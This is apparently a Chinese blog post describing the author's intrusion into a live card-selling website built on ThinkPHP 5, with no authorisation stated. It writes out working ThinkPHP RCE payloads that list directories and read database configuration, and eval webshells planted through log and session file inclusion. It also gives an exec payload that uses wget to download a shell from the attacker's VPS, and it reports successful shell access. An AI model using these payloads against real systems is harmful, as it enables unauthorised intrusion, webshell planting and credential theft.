【網(wǎng)絡(luò)安全】一次實(shí)戰(zhàn)中對tp5網(wǎng)站getshell方式的測試

前言

之前接觸tp5的站比較少,只知道利用RCE漏洞getshell的方式。在最近對一個(gè)發(fā)卡平臺滲透的過程中,由于php版本限制,無法直接使用RCE的payload拿shell,于是結(jié)合該網(wǎng)站盡可能多的測試一下tp5+php7.1環(huán)境下的getshell方法。

查看資料

正文

拿到站點(diǎn)后,訪問首頁如下


在這里插入圖片描述

不過看不出來具體版本,不確定是否存在RCE,于是用exp打一下試試

_method=__construct&method=get&filter=call_user_func&get[]=phpinfo
在這里插入圖片描述

發(fā)現(xiàn)執(zhí)行成功了,disable_function禁用了挺多函數(shù)


在這里插入圖片描述

一般php版本低于7.1的情況下,接下來直接用exp寫shell就可以了

方法一

直接用下面的exp寫shell

s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

但是這個(gè)exp中使用了assert,而上面看到php版本是7.1.33,這個(gè)版本是已經(jīng)沒辦法使用assert了,所以這里這個(gè)方法是不能用的

方法二

上面的exp沒辦法寫shell,但是phpinfo是執(zhí)行了的,那么RCE是存在的。于是想到可以通過讀取文件讀取數(shù)據(jù)庫的賬號密碼,然后找到phpmyadmin,就可以通過數(shù)據(jù)庫寫shell。
于是首先通過phpinfo中的信息找到網(wǎng)站根目錄,再使用scandir函數(shù)遍歷目錄,找到數(shù)據(jù)庫配置文件

_method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=路徑
在這里插入圖片描述

然后通過highlight_file函數(shù)讀取文件

_method=__construct&filter[]=highlight_file&method=GET&get[]=讀取的文件路徑
在這里插入圖片描述

拿到數(shù)據(jù)庫信息后,找看看是否存在phpmyadmin,最終發(fā)現(xiàn)沒有,于是這種方法也失敗。

在論壇搜索tp5的getshell方法,發(fā)現(xiàn)不少師傅說到可以用日志包含或者session包含的方法,但是之前沒接觸過,不知道具體的,于是搜索嘗試一下。

方法三

嘗試日志包含
首先寫shell進(jìn)日志

_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['c'])?>

然后通過日志包含來getshell

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/202110/17.log&c=phpinfo();
在這里插入圖片描述

失敗了,這里日志包含的方法也不可用

方法四

嘗試使用session包含的方法來getshell
首先通過設(shè)置session會話并傳入一句話木馬

_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['c'])?>&server[]=1
在這里插入圖片描述

然后直接利用文件包含去包含session文件,tp5的session文件一般都是在/tmp下面,文件名為sess_sessionid(這個(gè)sessionod在Cookie里面)

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_ejc3iali7uv3deo9g6ha8pbtoi&c=phpinfo();
在這里插入圖片描述

成功執(zhí)行,接下來通過蟻劍連接即可


在這里插入圖片描述

成功getshell


在這里插入圖片描述

www權(quán)限
在這里插入圖片描述

方法五

上面拿到了shell,但是我還是再嘗試了是否還有其他方法能getshell的。看到一篇文章,是由于disable_function中沒有禁用exec,然后利用exec從vps下載shell文件。
于是我仔細(xì)看了下disable_function中禁用的函數(shù),巧了,發(fā)現(xiàn)也沒有禁用exec,那么試一下
首先在vps上創(chuàng)建一個(gè)test.php,并用python開放一個(gè)端口

python -m SimpleHTTPServer 8888
在這里插入圖片描述

從vps上下載文件

s=wget vps/test.php&_method=__construct&method=get&filter[]=exec
在這里插入圖片描述

成功下載到目標(biāo)機(jī)器上

最后

實(shí)戰(zhàn)是比較好的學(xué)習(xí)方法,通過對這個(gè)戰(zhàn)點(diǎn)的滲透,才知道tp5的站有挺多種方法的,也學(xué)到了之前沒有使用過的session包含。本次實(shí)戰(zhàn)不僅僅為了getshell,也是為了學(xué)習(xí)利用tp5的不同的getshell方法。

關(guān)注我,持續(xù)更新——私我獲取【網(wǎng)絡(luò)安全學(xué)習(xí)資料·攻略

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容